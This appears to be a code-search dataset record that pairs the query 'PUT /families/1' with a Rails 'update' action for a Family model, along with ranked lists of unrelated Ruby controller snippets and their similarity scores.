"def new\n if request.post?\n\n @last_name = params[:last_name]\n @first_name = params[:first_name]\n @login = params[:login]\n @email = params[:email]\n @business_name = params[:business_name]\n @mailing_address = params[:mailing_address]\n @city = params[:city]\n @state = params[:state]\n @zip_code = params[:zip_code]\n @phone_number = params[:phone_number]\n @num_users = params[:num_users]\n @num_generations = params[:num_generations]\n\n begin\n Family.transaction do\n family_reporter = FamilyReporter.new(:last_name => params[:last_name], :first_name => params[:first_name],\n :login => params[:login], :email => params[:email], :password => params[:password], :password_confirmation => params[:password_confirmation])\n family = Family.new(:business_name => @business_name, :mailing_address => @mailing_address, :city => @city, :state => @state, :zip_code => @zip_code, :phone_number => @phone_number, :num_users => @num_users, :num_generations => @num_generations)\n\n family_reporter.family = family\n family_reporter.save!\n family_reporter.register!\n family.save!\n end\n\n flash[:notice] = \"New family for #{@business_name} added!\"\n redirect_to :action => :index\n rescue Exception => e\n flash[:error] = \"Error #{e.message}\"\n end\n end\n end",
"def family_group_params\n params.require(:family_group).permit(:family_name, :family_description)\n end",
"def update\n respond_to do |format|\n params[:family][:name] = params[:family][:name].split(\" \").map{|a| a.capitalize}.join(\" \")\n if @family.update(family_params)\n format.json { render :show, status: :ok, location: @family }\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\n else\n format.json { render json: @family.errors, status: :unprocessable_entity }\n format.html { render :edit }\n end\n end\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def friendships_create(options = {})\n @req.post(\"/1.1/friendships/create.json\", options)\n end",
"def create\n @forest = Forest.new(forest_params)\n\n respond_to do |format|\n if @forest.save\n format.html { redirect_to @forest, notice: 'Forest was successfully created.' }\n format.json { render action: 'show', status: :created, location: @forest }\n else\n format.html { render action: 'new' }\n format.json { render json: @forest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @srg = Srg.find(params[:srg_id])\n @srg_control = @srg.srg_controls.new(get_srg_control_hash(params))\n get_nist_families.each do |nist_params|\n @srg_control.nist_familys.create(nist_params)\n end\n\n respond_to do |format|\n if @srg_control.save\n format.html { redirect_to @srg_control, notice: 'Srg control was successfully created.' }\n format.json { render :show, status: :created, location: @srg_control }\n else\n format.html { render :new }\n format.json { render json: @srg_control.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @family_background = FamilyBackground.new(params[:family_background])\n\n respond_to do |format|\n if @family_background.save\n format.html { redirect_to(@family_background, :notice => 'Family background was successfully created.') }\n format.xml { render :xml => @family_background, :status => :created, :location => @family_background }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @family_background.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def family_params\n params.require(:family).permit(:name, :description, :position, :country_id, categories_attributes: [:id, :name, :description, :position, :_destroy])\n end",
"def destroy\n @family = Family.find(params[:id])\n @family.destroy\n\n respond_to do |format|\n format.html { redirect_to families_url }\n format.json { head :no_content }\n end\n end",
"def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single family based on the id\n family = Family.find_by(id: the_id)\n\n # update it\n if family.update!(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end",
"def create\n #logger.info \"Post parameters: #{params}\"\n @group = Group.new(name: params[:group][:name], expiration: params[:group][:expiration])\n if @group.save\n params[:group][:users].each do |u|\n Membership.create(group: @group, user: User.where(\"id = ? OR email = ?\", u[:id], u[:email]).first, admin:u[:admin])\n end\n render json: @group, status: :created, location: @group\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"def index\n @family_relationships = FamilyRelationship.all\n end",
"def follow_artist\n relationship = Relationship.create(params.require(:relationship).permit(:follower_id, :followed_id))\n render json: relationship\n end",
"def farmer_family_params\n params.require(:farmer_family).permit(:name, :cpf, :farmer_id, :gender, :birthday)\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def additional_family_member_params\n params.require(:additional_family_member).permit(:first_name, :last_name, :age, :working, :family_id, :relationship_id, :type)\n end",
"def set_family\r\n @family = Family.find(params[:id])\r\n end",
"def set_family\n @family = Family.find(params[:family_id])\n end",
"def create\n $lovedone = nil\n @family_member = User.new(family_member_params)\n @family_member.profile.user_type = Profile.user_types[:family_member]\n respond_to do |format|\n if @family_member.save\n unless family_member_params_for_lovedone[:lovedones].blank?\n follower = Follower.new user_id: @family_member.id, request_status: \"invited\", \n lovedone_id: family_member_params_for_lovedone[:lovedones]\n follower.save\n end\n @family_member.send_on_create_confirmation_instructions_ex\n format.html { redirect_to familymembers_path, notice: 'Family member was successfully created.' }\n #format.json { render :show, status: :created, location: @family_member }\n else\n if current_user.admin?\n @lovedones = Lovedone.all\n else\n @lovedones = current_user.lovedones\n end\n format.html { render :new }\n format.json { render json: @family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n addMembers\n respond_to do |format|\n if @family.update(family_params)\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\n format.json { render :show, status: :ok, location: @family }\n else\n format.html { render :edit }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(data)\n data.each do |response|\n puts person = @person_repository.create_or_find(response)\n homeworld_response = StarwarsService.get_response(response[\"homeworld\"])\n planet = @planet_repository.find(homeworld_response[\"name\"]).first\n person.planet_id = planet.id\n\n if response[\"species\"].empty? == false\n species_response = StarwarsService.get_response(response[\"species\"].first)\n specie = @specie_repository.find(species_response[\"name\"]).first\n person.specie_id = specie.id\n end\n person.save\n end\n end",
"def create\n @tracing_couple_family = TracingCoupleFamily.new(tracing_couple_family_params)\n\n\n respond_to do |format|\n if @tracing_couple_family.save\n format.html { redirect_to clinic_history_couple_tracing_couple_families_path(@clinic_history_couple.id), notice: 'Tracing couple family was successfully created.' }\n format.json { render :show, status: :created, location: @tracing_couple_family }\n else\n format.html { render :new }\n format.json { render json: @tracing_couple_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url, notice: 'La familia fue eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def create\n @fellowship = Fellowship.new(fellowship_params)\n @fellowship.users << current_user\n\n # Capitalize fellowship name\n @fellowship.fellowship_name = @fellowship.fellowship_name.titleize\n\n respond_to do |format|\n if @fellowship.save\n format.html { redirect_to @fellowship, notice: 'Fellowship was successfully created.' }\n format.json { render :show, status: :created, location: @fellowship }\n else\n format.html { render :new }\n format.json { render json: @fellowship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n passenger = Passenger.new(:name => params[:name], :contact_number => params[:contact_number], :nationality => params[:nationality], :meal_pref => params[:meal_pref])\n passenger.save\n render :json => passenger\n end",
"def show\n @family = Family.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def create\n @user=User.find(params[:user_id])\n @follower = @user.followers.create(follower_params)\n if @follower.save\n render json: @follower, status: :created\n else\n render json: @follower.errors, status: :unprocessable_entity\n end\n end",
"def list_families\n http_get(:uri=>\"/plugins/families\", :fields=>x_cookie)\n end",
"def create\n @family_history = FamilyHistory.new(params[:family_history])\n\n respond_to do |format|\n if @family_history.save\n format.html { redirect_to PersonalDetail.find(@family_history.personal_detail_id), notice: 'Family history was successfully created.' }\n format.json { render json: @family_history, status: :created, location: @family_history }\n else\n format.html { render action: PersonalDetail.find(@family_history.personal_detail_id) }\n format.json { render json: @family_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_family(fam, propagate = true)\n count = 0\n if leaf?\n [fam].flatten.each do |f|\n if product_families.where([\"product_family_id = ?\", f.id]).empty?\n product_families << f\n count += 1\n end\n end\n else\n errors.add(:base, \"Can't add product family to non-leaf category.\")\n end\n if (count > 0) && propagate\n propagate_families_up\n generate_attributes_up\n end\n count\n end",
"def create\n @family_blog = FamilyBlog.new(params[:family_blog])\n\n respond_to do |format|\n if @family_blog.save\n @person = Person.find_by_id(@family_blog.person_id)\n format.html { redirect_to @person, notice: 'Family blog was successfully created.' }\n format.json { render json: @family_blog, status: :created, location: @family_blog }\n else\n format.html { render action: \"new\" }\n format.json { render json: @family_blog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def createCharities\n\tcharity_list = [\"Direct Relief\", \"Catholic Medical Mission Board\", \"MAP International\", \"United Nations Foundation\", \"The Rotary Foundation of Rotary International\", \"Samaritan's Purse\", \"Institute of International Education\", \"International Rescue Committee\", \"Compassion International\", \"United States Fund for UNICEF\"]\n\tcharity_list.each do |charity|\n\t\tRestClient.post 'http://api.reimaginebanking.com/merchants?key=e0486a76005721ee6d86b140eaea2a40', { \"name\": \"#{charity}\"}.to_json, :content_type => :json, :accept => :json\n\tend\nend",
"def show\n @family = Family.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend",
"def send_female_room_allocation(employees)\n allocated_female_fellows = employees.select do |employee|\n employee.sex == \"F\" && employee.room != nil\n end\n\n response = {}\n if allocated_female_fellows\n data = get_fellows_room_allocation(allocated_female_fellows)\n response[\"message\"] = \"These female fellows have been allocated to available rooms!\"\n response[\"total\"] = data.length\n response[\"data\"] = data\n json = response.to_json\n female_room_allocation = File.new(\"allocations/female_room_allocation.json\", \"w\")\n female_room_allocation.puts json\n female_room_allocation.close\n puts \"Please check the file 'allocations/female_room_allocation.json' to view all female room allocations!\"\n else\n response[\"message\"] = \"No female fellow has been allocated to a room!\"\n json = response.to_json\n female_room_allocation = File.new(\"allocations/female_room_allocation.json\", \"w\")\n female_room_allocation.puts json\n female_room_allocation.close\n puts \"No female has been allocated to a room! You may view the file 'allocations/female_room_allocation.json'\"\n end\n end"
] |
[
"0.69394344",
"0.6557405",
"0.6539632",
"0.62348044",
"0.6194535",
"0.6145975",
"0.6061082",
"0.60608697",
"0.6032527",
"0.5941302",
"0.5921364",
"0.5920388",
"0.5912198",
"0.5904324",
"0.58811975",
"0.5864885",
"0.5859784",
"0.5856368",
"0.5819247",
"0.580773",
"0.580773",
"0.580773",
"0.5786938",
"0.5713424",
"0.57104576",
"0.5684626",
"0.56792676",
"0.56755316",
"0.567167",
"0.5647437",
"0.56226146",
"0.5613363",
"0.55733556",
"0.5491835",
"0.5460287",
"0.5405056",
"0.5362649",
"0.53580475",
"0.5353537",
"0.53245133",
"0.5316403",
"0.5314467",
"0.5304071",
"0.5301617",
"0.5291802",
"0.5284492",
"0.52716094",
"0.52675897",
"0.5250687",
"0.5246036",
"0.523764",
"0.5234957",
"0.522205",
"0.5221165",
"0.5218057",
"0.5212764",
"0.5196357",
"0.5191438",
"0.518819",
"0.518819",
"0.51854384",
"0.518539",
"0.5171017",
"0.51649964",
"0.51640856",
"0.5158974",
"0.5158974",
"0.5157994",
"0.51561403",
"0.5147449",
"0.5140159",
"0.5139202",
"0.5117788",
"0.51175785",
"0.5115685",
"0.5111836",
"0.5110793",
"0.51090664",
"0.50999147",
"0.50999147",
"0.5094635",
"0.5088126",
"0.5083299",
"0.5077929",
"0.50687414",
"0.50551975",
"0.5052848",
"0.50420606",
"0.50400007",
"0.5034926",
"0.5025185",
"0.5011969",
"0.5006895",
"0.50024486",
"0.499888",
"0.4992779",
"0.4984844",
"0.49799317",
"0.49736157",
"0.49730924"
] |
0.567173
|
28
|
PUT /families/1 PUT /families/1.json
|
def update
@family = Family.find(params[:id])
@user = User.find_by_email(session[:user_email])
if @user && @user.identity == 2
@family.approved_by = nil
end
respond_to do |format|
if @family.update_attributes(params[:family])
format.html { redirect_to session[:redirect_path], notice: 'Family was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @family.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single family based on the id\n family = Family.find_by(id: the_id)\n\n # update it\n if family.update!(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end",
"def update\n respond_to do |format|\n params[:family][:name] = params[:family][:name].split(\" \").map{|a| a.capitalize}.join(\" \")\n if @family.update(family_params)\n format.json { render :show, status: :ok, location: @family }\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\n else\n format.json { render json: @family.errors, status: :unprocessable_entity }\n format.html { render :edit }\n end\n end\n end",
"def update\n addMembers\n respond_to do |format|\n if @family.update(family_params)\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\n format.json { render :show, status: :ok, location: @family }\n else\n format.html { render :edit }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @family.update(family_params)\r\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @family }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @family.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @family.update(family_params)\n format.html { redirect_to @family, notice: 'Family was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\r\n @family = Family.find(params[:id])\r\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:family_id])\n end",
"def set_family\n @family = Family.find_by_id(params[:id])\n end",
"def update\n\t\t@family ||= Family.find(params[:id])\n respond_to do |format|\n if @family.update_attributes(params[:family])\n flash[:notice] = 'Family was successfully updated.'\n format.html { redirect_to(@family) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @family = Family.find(params[:id])\n\n respond_to do |format|\n if @family.update_attributes(params[:family])\n flash[:notice] = \"Family #{@family.business_name} was successfully updated.\"\n format.html { redirect_to(@family) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @family.slug=nil\n if @family.update(family_params)\n format.html { redirect_to @family, notice: 'La familia fue actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @family }\n else\n format.html { render :edit }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @os_family.update(os_family_params)\n format.html { redirect_to @os_family, notice: 'Os family was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_family }\n else\n format.html { render :edit }\n format.json { render json: @os_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_family\n @family = Family.friendly.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @sub_family.update(sub_family_params)\n format.html { redirect_to @sub_family, notice: 'Sub família foi atualizada.' }\n format.json { render :show, status: :ok, location: @sub_family }\n else\n format.html { render :edit }\n format.json { render json: @sub_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_jobfamily\n @jobfamily = @company.jobfamilies.create(name: params[:jobfamily][:name])\n respond_to do |format|\n format.json { render json: @jobfamily }\n end\n end",
"def update\n respond_to do |format|\n if @family_relationship.update(family_relationship_params)\n format.html { redirect_to @family_relationship, notice: 'Family relationship was successfully updated.' }\n format.json { render :show, status: :ok, location: @family_relationship }\n else\n format.html { render :edit }\n format.json { render json: @family_relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @control_family = ControlFamily.find(params[:id])\n\n respond_to do |format|\n if @control_family.update_attributes(params[:control_family])\n format.html { redirect_to @control_family, :notice => 'Control family was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @control_family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def family_params\n params.require(:family).permit(:name, :status)\n end",
"def create\n family_params\n f = params[:family]\n @family = Family.new\n @family.name = f[:name]\n\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render action: 'show', status: :created, location: @family }\n else\n format.html { render action: 'new' }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @family_group.update(family_group_params)\n format.html { redirect_to @family_group, notice: 'Family group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @family_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def family_params\n params.require(:family).permit(:name, :user_id)\n end",
"def destroy\n @family = Family.find(params[:id])\n @family.destroy\n\n respond_to do |format|\n format.html { redirect_to families_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url }\n format.json { head :no_content }\n end\n end",
"def set_family\n @family = Family.includes(members:[:contacts]).find(params[:id])\n end",
"def update\n respond_to do |format|\n if @family_document.update(family_document_params)\n format.html { redirect_to @family_document, notice: \"Family document was successfully updated.\" }\n format.json { render :show, status: :ok, location: @family_document }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @family_document.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tenant_family_member.update(tenant_family_member_params)\n format.html { redirect_to @tenant_family_member, notice: 'Tenant family member was successfully updated.' }\n format.json { render :show, status: :ok, location: @tenant_family_member }\n else\n format.html { render :edit }\n format.json { render json: @tenant_family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def family_params\n params[:family].permit(:name)\n end",
"def family_params\n params.require(:family).permit(:name)\n end",
"def set_family_relationship\n @family_relationship = FamilyRelationship.find(params[:id])\n end",
"def family_params\r\n params.require(:family).permit(:name)\r\n end",
"def update\n @family_member = FamilyMember.find(params[:id])\n\n respond_to do |format|\n if @family_member.update_attributes(params[:family_member])\n format.html { redirect_to @family_member, notice: 'Family member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @index_action = true\n @families = Family.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @families }\n end\n end",
"def set_family_document\n @family_document = FamilyDocument.find(params[:id])\n end",
"def update\n @family_member = FamilyMember.find(params[:id])\n\n respond_to do |format|\n if @family_member.update_attributes(family_member_params)\n format.html { redirect_to @family_member, notice: 'Family member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @family_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_family!(family_name)\n self.family = Family.where(name: family_name).first_or_create! \n self.save!\n end",
"def create\n @family = Family.new(family_params)\n addMembers\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render :show, status: :created, location: @family }\n else\n format.html { render :new }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_family_group\n @family_group = FamilyGroup.find(params[:id])\n end",
"def update\n @family_image = FamilyImage.find(params[:id])\n\n if @family_image.update(family_image_params)\n head :no_content\n else\n render json: @family_image.errors, status: :unprocessable_entity\n end\n end",
"def family_id= new_family_id\n frozen_check!\n @gapi.family_id = new_family_id\n end",
"def jobfamily\n @jobfamilies = @company.jobfamilies\n respond_to do |format|\n format.json { render json: @jobfamilies}\n end\n end",
"def create\n params[:family][:user_id] = current_user.id if params[:family][:user_id]==nil\n params[:family][:name] = params[:family][:name].split(\" \").map{|a| a.capitalize}.join(\" \")\n @family = Family.new(family_params)\n # if current_user.families.count == 0\n # current_user.username = @family.name\n # current_user.save\n # end\n\n respond_to do |format|\n if @family.save\n format.json { render json: {created: @family} }\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n else\n format.json { render json: @family.errors, status: :unprocessable_entity }\n format.html { render :new }\n end\n end\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url, notice: 'Family was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def set_family_member\n @family_member = FamilyMember.find(params[:id])\n end",
"def destroy\n\t\t@family ||= Family.find(params[:id])\n @family.destroy\n respond_to do |format|\n format.html { redirect_to(families_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @family.destroy\r\n respond_to do |format|\r\n format.html { redirect_to families_url, notice: 'Family was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def update\n respond_to do |format|\n name = Server.find(params[:id]).name\n n = Neography::Node.find('servers', 'name', name)\n n.name = server_params[:name]\n n.add_to_index('servers', 'name', server_params[:name]) #TODO: is this necessary?\n if @server.update(server_params)\n format.html { redirect_to @server, notice: 'Server was successfully updated.' }\n format.json { render :show, status: :ok, location: @server }\n else\n format.html { render :edit }\n format.json { render json: @server.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n relationship = Relationships.find(params[:id])\n if relationship.update(relationship_params)\n render json: relationship, status: 200\n else\n render json: { errors: relationship.errors }, status: 422\n end\n end",
"def update\n respond_to do |format|\n if @family_bond.update(family_bond_params)\n format.html { redirect_to @family_bond, notice: 'Family bond was successfully updated.' }\n format.json { render :show, status: :ok, location: @family_bond }\n else\n format.html { render :edit }\n format.json { render json: @family_bond.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_sub_family\n @sub_family = SubFamily.find(params[:id])\n end",
"def update!(**args)\n @family_name_spec = args[:family_name_spec] if args.key?(:family_name_spec)\n @given_name_spec = args[:given_name_spec] if args.key?(:given_name_spec)\n end",
"def update\n @family_unit = FamilyUnit.find(params[:id])\n\n respond_to do |format|\n if @family_unit.update_attributes(params[:family_unit])\n format.html { redirect_to @family_unit, notice: 'Family unit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @family_unit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @family = Family.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def update\n @father = Father.find(params[:id])\n\n respond_to do |format|\n if @father.update_attributes(params[:father])\n format.html { redirect_to @father, notice: 'Father was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @father.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @family_crest = FamilyCrest.find(params[:id])\n\n respond_to do |format|\n if @family_crest.update_attributes(params[:family_crest])\n format.html { redirect_to @family_crest, notice: 'Family crest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @family_crest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @family.church = current_church\n if @family.update(family_params)\n flash[:notice] = t('.success', name: @family.name)\n redirect_to action: :index\n else\n render :edit\n end\n end",
"def index\r\n @families = Family.all\r\n end",
"def create\n @os_family = OsFamily.new(os_family_params)\n\n respond_to do |format|\n if @os_family.save\n format.html { redirect_to @os_family, notice: 'Os family was successfully created.' }\n format.json { render :show, status: :created, location: @os_family }\n else\n format.html { render :new }\n format.json { render json: @os_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def family_params\n params.require(:family).permit(:home_address, :email_address, :phone_number, primary_family_member_attributes: %i[type first_name last_name age])\n end",
"def update!(**args)\n @family_name = args[:family_name] if args.key?(:family_name)\n @given_name = args[:given_name] if args.key?(:given_name)\n end",
"def put(obj, which=:groups)\n path = \"/#{which}\"\n path += \"/#{obj['ID']}\" unless obj['ID'].nil? \n resp = self.class.post(path, { :body => obj })\n check_errors resp\n res = resp.parsed_response['Response']['Entry']\n rebuild_groups! res\n res\n end",
"def destroy\n @family = Family.find(params[:id])\n @family.destroy\n\n respond_to do |format|\n format.html { redirect_to session[:redirect_path] }\n format.json { head :ok }\n end\n end",
"def family_relationship_params\n params.require(:family_relationship).permit(:code, :name)\n end",
"def set_tenant_family_member\n @tenant_family_member = TenantFamilyMember.find(params[:id])\n end",
"def update\n @breadcrumb = 'update'\n @product_family = ProductFamily.find(params[:id])\n @product_family.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @product_family.update_attributes(params[:product_family])\n format.html { redirect_to @product_family,\n notice: (crud_notice('updated', @product_family) + \"#{undo_link(@product_family)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @farmer_family.update(farmer_family_params)\n SystemLog.create(description: \"Atualizou as informações do membro da família do agricultor #{@farmer.name}(#{@farmer.farmer_code}) chamado #{@farmer_family.name}\", author: name_and_type_of_logged_user)\n format.html { redirect_to [@group, @farmer_family.farmer, @farmer_family], notice: 'Integrante da familia atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @farmer_family }\n else\n format.html { render :edit }\n format.json { render json: @farmer_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @language_family.update(language_family_params)\n format.html { redirect_to @language_family, notice: 'Language family was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @language_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def flush\n if exists?\n update_foreman_users('put', get_attribute_from_user('id'))\n else\n update_foreman_users('post')\n end\n end",
"def show\n @family = Family.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def update\n resource_path = \"/projects/#{project_id}/people/#{id}\"\n Request.put(resource_path, self.to_xml('person'))\n end",
"def update\n @family_member = FamilyMember.find(params[:id])\n\n respond_to do |format|\n if @family_member.update_attributes(params[:family_member])\n format.html { redirect_to(family_family_member_url(@current_family, @family_member), :notice => 'A Family Member was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @family_member.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tracing_couple_family.update(tracing_couple_family_params)\n format.html { redirect_to clinic_history_couple_tracing_couple_families_path(@clinic_history_couple.id), notice: 'Tracing couple family was successfully updated.' }\n format.json { render :show, status: :ok, location: @tracing_couple_family }\n else\n format.html { render :edit }\n format.json { render json: @tracing_couple_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sub_family_params\n params.require(:sub_family).permit(:name, :created_at, :updated_at)\n end",
"def update\n @product_family = ProductFamily.find(params[:id])\n\n if @product_family.update_attributes(params[:product_family])\n flash[:success] = 'Product family was successfully updated.'\n redirect_to(product_families_path) \n else\n @title = \"Edit Product Family\"\n render :action => \"edit\"\n end\n end",
"def update\n respond_to do |format|\n if @admin_father.update(admin_father_params)\n format.html { redirect_to @admin_father, notice: 'Father was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_father }\n else\n format.html { render :edit }\n format.json { render json: @admin_father.errors, status: :unprocessable_entity }\n end\n end\n end",
"def friendships_update(options = {})\n @req.post(\"/1.1/friendships/update.json\", options)\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url, notice: 'La familia fue eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def add_family_id\n self.family_id = self.user.family_id unless self.family_id\n end",
"def destroy\n @os_family.destroy\n respond_to do |format|\n format.html { redirect_to os_families_url, notice: 'Os family was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n @family_history = FamilyHistory.find(params[:id])\n\n respond_to do |format|\n if @family_history.update_attributes(params[:family_history])\n format.html { redirect_to PersonalDetail.find(@family_history.personal_detail_id), notice: 'Family history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @family_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def show\n @family = get_family(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def update\n respond_to do |format|\n if @family_history.update(family_history_params)\n format.html { redirect_to patient_path(@family_history.patient), notice: 'Family history was successfully updated.' }\n format.json { render :show, status: :ok, location: @family_history }\n else\n format.html { render :edit }\n format.json { render json: @family_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sub_family = SubFamily.new(sub_family_params)\n\n respond_to do |format|\n if @sub_family.save\n format.html { redirect_to @sub_family, notice: 'Sub familia foi criada.' }\n format.json { render :show, status: :created, location: @sub_family }\n else\n format.html { render :new }\n format.json { render json: @sub_family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end",
"def family_params\n params.require(:family).permit(:name, :description, :position, :country_id, categories_attributes: [:id, :name, :description, :position, :_destroy])\n end",
"def set_family_bond\n @family_bond = FamilyBond.find(params[:id])\n end",
"def set_additional_family_member\n @additional_family_member = AdditionalFamilyMember.find(params[:id])\n end",
